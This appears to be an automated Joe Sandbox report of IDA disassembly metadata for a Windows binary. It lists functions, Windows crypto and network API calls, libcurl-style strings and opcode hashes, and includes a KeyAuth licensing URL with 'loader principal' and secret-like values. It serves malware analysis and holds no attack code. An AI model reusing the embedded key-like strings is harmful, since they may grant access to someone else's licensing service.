Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$strchr$_strdupmemsetreallocstrncpy$EnvironmentVariabletolower
String ID: ALL_PROXY$NO_PROXY$Uses proxy env variable %s == '%s'$_proxy$all_proxy$http_proxy$memory shortage$no_proxy
API String ID: 1339443121-1021110354
Opcode ID: f4164ee39dae3ce523d14cc156f7bad89d2e8f770c8633ff7de6cee049dff039
Instruction ID: 95ace298a247a1ffeb79d076b7567dd296d3cc658f4d7cc4bf57976d6c95b55e
Opcode Fuzzy Hash: f4164ee39dae3ce523d14cc156f7bad89d2e8f770c8633ff7de6cee049dff039
Instruction Fuzzy Hash: 6802926160D78985EA71EB39A8443B9A7A5EB4D788F890237DA4D177B5DF3CE204C330

Function 00007FF79B719FFC Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 203stringfileCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B71A098
strchr.VCRUNTIME140 ref: 00007FF79B71A0C4
strchr.VCRUNTIME140 ref: 00007FF79B71A0FE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71A122
strchr.VCRUNTIME140 ref: 00007FF79B71A232
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71A24A
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B71A375
fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B71A3A1

Strings

CurrentUser, xrefs: 00007FF79B71A112
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF79B71A4D9
, xrefs: 00007FF79B719FFC

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$_strdupfopenfseekstrncmpstrtol
String ID: $CurrentUser$schannel: Failed to import cert file %s, password is bad
API String ID: 4221717217-4282655970
Opcode ID: 606fce838f325d9a22f8bd7fbe2373a4342e9e48cf8c19a5f72ee2543fa2c872
Instruction ID: a3499d6e4c06969ed19ff1ddd8b0c241bdb9a397680e38a453ac7e48d6e99d94
Opcode Fuzzy Hash: 606fce838f325d9a22f8bd7fbe2373a4342e9e48cf8c19a5f72ee2543fa2c872
Instruction Fuzzy Hash: 11817821B0964E82FB75EF399854379A695BF49794F844236CA2E467F0EF3CE6448330

Function 00007FF79B71A005 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 202stringfileCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B71A098
strchr.VCRUNTIME140 ref: 00007FF79B71A0C4
strchr.VCRUNTIME140 ref: 00007FF79B71A0FE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71A122
strchr.VCRUNTIME140 ref: 00007FF79B71A232
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71A24A
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B71A375
fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B71A3A1

Strings

CurrentUser, xrefs: 00007FF79B71A112
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF79B71A4D9

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: strchr$_strdupfopenfseekstrncmpstrtol
String ID: CurrentUser$schannel: Failed to import cert file %s, password is bad
API String ID: 4221717217-1887299029
Opcode ID: 18ad62f4a5a0cd3de7887efa181fed8ee0f51499181116489963c520c539ff20
Instruction ID: f3cf0b03fe61bcbbc2c66710cf8b293ef050daece91c63733689b836fe32d218
Opcode Fuzzy Hash: 18ad62f4a5a0cd3de7887efa181fed8ee0f51499181116489963c520c539ff20
Instruction Fuzzy Hash: 6E818821B0964E82FB75EF399850279A695BF49794F844236CA2E467F0EF3CE644C330

Function 00007FF79B6F1D10 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 134COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF79B6F1D38
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F1D40

Strings

SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 00007FF79B6F2249
CRYPT_E_REVOKED, xrefs: 00007FF79B6F2172
%s (0x%08X), xrefs: 00007FF79B6F1D95
No error, xrefs: 00007FF79B6F2190
%s - %s, xrefs: 00007FF79B6F2299
SEC_I_CONTINUE_NEEDED, xrefs: 00007FF79B6F219C
Unknown error, xrefs: 00007FF79B6F2230

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_I_CONTINUE_NEEDED$Unknown error
API String ID: 3939687465-1752685260
Opcode ID: db281f68b38cbdc177fe78e3b8ce9259576fae544cc566fc18b4b21884f897dc
Instruction ID: f255b0d38fedc1f264de037cd7244b4bb667d6b2b5400968114dc3c80c89cd8e
Opcode Fuzzy Hash: db281f68b38cbdc177fe78e3b8ce9259576fae544cc566fc18b4b21884f897dc
Instruction Fuzzy Hash: 8051A521A0D68A85E731AB78A4513B9B7A7FB48781FC44536DA5D026B5DF3CF7048B30

Function 00007FF79B717CC0 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 422stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B717F3E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B717F46
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B717F5C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B717F65
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B717F6D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B717F77

Strings

%02d:%02d:%02d%n, xrefs: 00007FF79B717EE9
%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 00007FF79B717D7E
%02d:%02d%n, xrefs: 00007FF79B717F1D
GMT, xrefs: 00007FF79B717E37

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _errno$strtol
String ID: %02d:%02d%n$%02d:%02d:%02d%n$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$GMT
API String ID: 3596500743-988243589
Opcode ID: 29359ff11a13169c6bbd87f5d4eca36891b4094a7d179d7bfb86092fac4ccb88
Instruction ID: bfe07fb0c928c9f357c9f24435b6172e8b953110d5ef24eeab8b47069f2b2b1d
Opcode Fuzzy Hash: 29359ff11a13169c6bbd87f5d4eca36891b4094a7d179d7bfb86092fac4ccb88
Instruction Fuzzy Hash: 68F1C772F1451A9AEB34EB7C94001BCB7A1AB88758F904337DE1E577F4DE38AA058760

Function 00007FF79B719300 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78encryptionCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF79B719340
CryptAcquireContextA.ADVAPI32(?,?,?,?,?,?,?,?,00007FF79B7192C9), ref: 00007FF79B71935F
CryptCreateHash.ADVAPI32(?,?,?,?,?,?,?,?,00007FF79B7192C9), ref: 00007FF79B719389
CryptHashData.ADVAPI32(?,?,?,?,?,?,?,?,00007FF79B7192C9), ref: 00007FF79B7193A1
CryptGetHashParam.ADVAPI32(?,?,?,?,?,?,?,?,00007FF79B7192C9), ref: 00007FF79B7193C6
CryptGetHashParam.ADVAPI32(?,?,?,?,?,?,?,?,00007FF79B7192C9), ref: 00007FF79B7193F2
CryptDestroyHash.ADVAPI32(?,?,?,?,?,?,?,?,00007FF79B7192C9), ref: 00007FF79B719402
CryptReleaseContext.ADVAPI32(?,?,?,?,?,?,?,?,00007FF79B7192C9), ref: 00007FF79B719414

Strings

@, xrefs: 00007FF79B719355

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyReleasememset
String ID: @
API String ID: 2041421932-2766056989
Opcode ID: bb794aa40aa15490590f884502f6a567689bfb5528de3085bcc22d0726435027
Instruction ID: 9bf387f83f6be3975901bf63d1d09bfa2504e466782c7517605ee28e55c5a221
Opcode Fuzzy Hash: bb794aa40aa15490590f884502f6a567689bfb5528de3085bcc22d0726435027
Instruction Fuzzy Hash: 7731503261968586EB70EF25E44866ABB65FBC8BC0F444236DE8D53A74DF3CD5068B10

Function 00007FF79B73EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 69encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF79B73EF76
CryptCreateHash.ADVAPI32 ref: 00007FF79B73EF9A
CryptHashData.ADVAPI32 ref: 00007FF79B73EFB6
CryptGetHashParam.ADVAPI32 ref: 00007FF79B73EFD5
CryptGetHashParam.ADVAPI32 ref: 00007FF79B73EFF8
CryptDestroyHash.ADVAPI32 ref: 00007FF79B73F008
CryptReleaseContext.ADVAPI32 ref: 00007FF79B73F01A

Strings

@, xrefs: 00007FF79B73EF4D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyRelease
String ID: @
API String ID: 3606780921-2766056989
Opcode ID: 429e55f396393fe66fea98e7d9a8171e41cdb5e0e9661a133493c8119aebbe06
Instruction ID: d4f39d637b55338884b9dc8b9a9df8e79e2807555370867b9f84f44c8eea05fe
Opcode Fuzzy Hash: 429e55f396393fe66fea98e7d9a8171e41cdb5e0e9661a133493c8119aebbe06
Instruction Fuzzy Hash: 6421723261868986E770AF25F45166AB761FBCCBC5F805236EA8E07E38CF3CD5058B10

Function 00007FF79B73FD4C Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF79B73FD68
memset.VCRUNTIME140 ref: 00007FF79B73FD8C
RtlCaptureContext.KERNEL32 ref: 00007FF79B73FD95
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF79B73FDAF
RtlVirtualUnwind.KERNEL32 ref: 00007FF79B73FDF0
memset.VCRUNTIME140 ref: 00007FF79B73FE23
IsDebuggerPresent.KERNEL32 ref: 00007FF79B73FE44
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF79B73FE61
UnhandledExceptionFilter.KERNEL32 ref: 00007FF79B73FE6C

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: fc71f2e38170f003502fc35b1a2a6786915c9dce6f2c40117b586646fb8be62b
Instruction ID: 23bcd8e77b7ad414bb3977d73d1204417162a1658dabd86e2a10a908e0998ab9
Opcode Fuzzy Hash: fc71f2e38170f003502fc35b1a2a6786915c9dce6f2c40117b586646fb8be62b
Instruction Fuzzy Hash: 5A315072608B858AEB70AF64E8403ED7762FB49745F40453ADA4D47BA4DF38D648C710

Function 00007FF79B73CE40 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 112encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF79B73CE87
CryptImportKey.ADVAPI32 ref: 00007FF79B73CF59
CryptReleaseContext.ADVAPI32 ref: 00007FF79B73CF71
CryptEncrypt.ADVAPI32 ref: 00007FF79B73CFA2
CryptDestroyKey.ADVAPI32 ref: 00007FF79B73CFAC
CryptReleaseContext.ADVAPI32 ref: 00007FF79B73CFB8

Strings

@, xrefs: 00007FF79B73CE6D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireDestroyEncryptImport
String ID: @
API String ID: 3016261861-2766056989
Opcode ID: d1a0f4d578b41c1f0fd4322c77e50cfad5c7b58d9a61eee987650c72cdb935cc
Instruction ID: 9ead54704c6d2690c529b9de1f712671a5ee6b22d093fb5fcb0ef921994f25f6
Opcode Fuzzy Hash: d1a0f4d578b41c1f0fd4322c77e50cfad5c7b58d9a61eee987650c72cdb935cc
Instruction Fuzzy Hash: EC41A122B086908EF7209B75E4513EE7FB1F74A389F444126DE8D17A69CB3CC21AD750

Function 00007FF79B72B4F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 131networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72B56E
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72B5CB
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72B5F3
bind.WS2_32 ref: 00007FF79B72B672
WSAGetLastError.WS2_32 ref: 00007FF79B72B67C

Strings

bind() failed; %s, xrefs: 00007FF79B72B697

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: calloc$ErrorLastbind
String ID: bind() failed; %s
API String ID: 2604820300-1141498939
Opcode ID: e15b84cf266a0d3863325db1c3b911d02269c6867c01246adfe307a2724578bf
Instruction ID: c389aac751855054d8a9d07227cf2b665780f2f6e19957e555995b5edf492547
Opcode Fuzzy Hash: e15b84cf266a0d3863325db1c3b911d02269c6867c01246adfe307a2724578bf
Instruction Fuzzy Hash: 1251E272A0878986FB24AB39D4443A9B7A0FB48B84F440136CB4E4B7B1DF7CE655C720

Function 00007FF79B7153E0 Relevance: 10.1, Strings: 8, Instructions: 72COMMON

Download Yara Rule

Strings

%4I64dG, xrefs: 00007FF79B7154D4
%2I64d.%0I64dG, xrefs: 00007FF79B71549A
%5I64d, xrefs: 00007FF79B7153F5
%4I64dT, xrefs: 00007FF79B7154F0
%4I64dM, xrefs: 00007FF79B71547C
%4I64dP, xrefs: 00007FF79B7154FD
%2I64d.%0I64dM, xrefs: 00007FF79B715429
%4I64dk, xrefs: 00007FF79B71540E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: %2I64d.%0I64dG$%2I64d.%0I64dM$%4I64dG$%4I64dM$%4I64dP$%4I64dT$%4I64dk$%5I64d
API String ID: 0-2102732564
Opcode ID: 9e3df054a61aa0eb03b6dd8be6f9dbe41523f465c4aa00b2132ff3c3a2bcd120
Instruction ID: 6fa59f04dc41ad284c24e89155f070594a49043f0247bc6f560caf027e355f48
Opcode Fuzzy Hash: 9e3df054a61aa0eb03b6dd8be6f9dbe41523f465c4aa00b2132ff3c3a2bcd120
Instruction Fuzzy Hash: A1213091A0995E87FF28E6BDA5117F482635B8C781ED40633EC0E167B1DEBCA6468270

Function 00007FF79B7400E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,00007FF79B6E1870), ref: 00007FF79B7400FE
GetLastError.KERNEL32 ref: 00007FF79B740149
IsDebuggerPresent.KERNEL32 ref: 00007FF79B740161
OutputDebugStringW.KERNEL32 ref: 00007FF79B740172

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF79B74016B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentStringmemset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 1848478996-631824599
Opcode ID: c81a61da6dff62d5fc6ebe2dd06c259fdb3328391505df66370617ea3a97fde8
Instruction ID: 02320b7f0dc18dfc1bf06a7d0d4c2e4646c042589116e7a140e6ddd233bd0151
Opcode Fuzzy Hash: c81a61da6dff62d5fc6ebe2dd06c259fdb3328391505df66370617ea3a97fde8
Instruction Fuzzy Hash: CF116032A1874593E764AB39D54537972A3FB08752F80423AC64D83970EF3CE674C720

Function 00007FF79B719230 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF79B719261
CryptGenRandom.ADVAPI32 ref: 00007FF79B719275
CryptReleaseContext.ADVAPI32 ref: 00007FF79B719286
CryptReleaseContext.ADVAPI32 ref: 00007FF79B71929C

Strings

@, xrefs: 00007FF79B719249

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireRandom
String ID: @
API String ID: 2916321625-2766056989
Opcode ID: c7f578bda8b6bce57ac1e3404d80283eda79a9cd9b89e485504ba2bfd3618192
Instruction ID: 68d81561281b44e6c275810b70047e38d82e66e771231b57f61ff3f4f4c1d683
Opcode Fuzzy Hash: c7f578bda8b6bce57ac1e3404d80283eda79a9cd9b89e485504ba2bfd3618192
Instruction Fuzzy Hash: A2F08665B0868582E720AB65F44532AEB61EFCC7D5F844132DE8C47A78DE7CC2858710

Function 00007FF79B6E1000 Relevance: 6.7, Strings: 5, Instructions: 438COMMON

Download Yara Rule

Strings

8117cf7ad254a9a5d0d88f66a496a899a0f91b99fcda9b68c5bcd64eda7e1913, xrefs: 00007FF79B6E1310
8.2, xrefs: 00007FF79B6E1202
9WIvTVJa9m, xrefs: 00007FF79B6E1538
loader principal, xrefs: 00007FF79B6E1556
https://keyauth.win/api/1.2/, xrefs: 00007FF79B6E1037

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: 8.2$8117cf7ad254a9a5d0d88f66a496a899a0f91b99fcda9b68c5bcd64eda7e1913$9WIvTVJa9m$https://keyauth.win/api/1.2/$loader principal
API String ID: 0-222467820
Opcode ID: 32abd01a937e002e2e3925644fec68693e22a4a1a78138759f0befe3a84fc7c8
Instruction ID: 8997ff017c426499c40f6d35dab56d5db4d1cf61e461afd753151a23b443e57c
Opcode Fuzzy Hash: 32abd01a937e002e2e3925644fec68693e22a4a1a78138759f0befe3a84fc7c8
Instruction Fuzzy Hash: 51122622D2DB964AF713A73D98011A4E7569FA7784F80D337ED5831DB2EF2973928204

Function 00007FF79B73FF64 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF79B73FF90
GetCurrentThreadId.KERNEL32 ref: 00007FF79B73FF9E
GetCurrentProcessId.KERNEL32 ref: 00007FF79B73FFAA
QueryPerformanceCounter.KERNEL32 ref: 00007FF79B73FFBA

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 81fecbbe110443faa4b077698657e2e73d1f9485f01ab5ea6c5b974c73907ae6
Instruction ID: d1148ccc17b74d38f6628306106700b861e8a0ef4ab0a9ea44d3c39554994e5e
Opcode Fuzzy Hash: 81fecbbe110443faa4b077698657e2e73d1f9485f01ab5ea6c5b974c73907ae6
Instruction Fuzzy Hash: DE117022B18F058AEB10EF74E8442B973A4F71D758F840E32DA6D86BB4DF78D2548350

Function 00007FF79B71C220 Relevance: 6.0, APIs: 4, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32 ref: 00007FF79B71C250
CryptGetHashParam.ADVAPI32 ref: 00007FF79B71C276
CryptDestroyHash.ADVAPI32 ref: 00007FF79B71C285
CryptReleaseContext.ADVAPI32 ref: 00007FF79B71C295

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: Crypt$Hash$Param$ContextDestroyRelease
String ID:
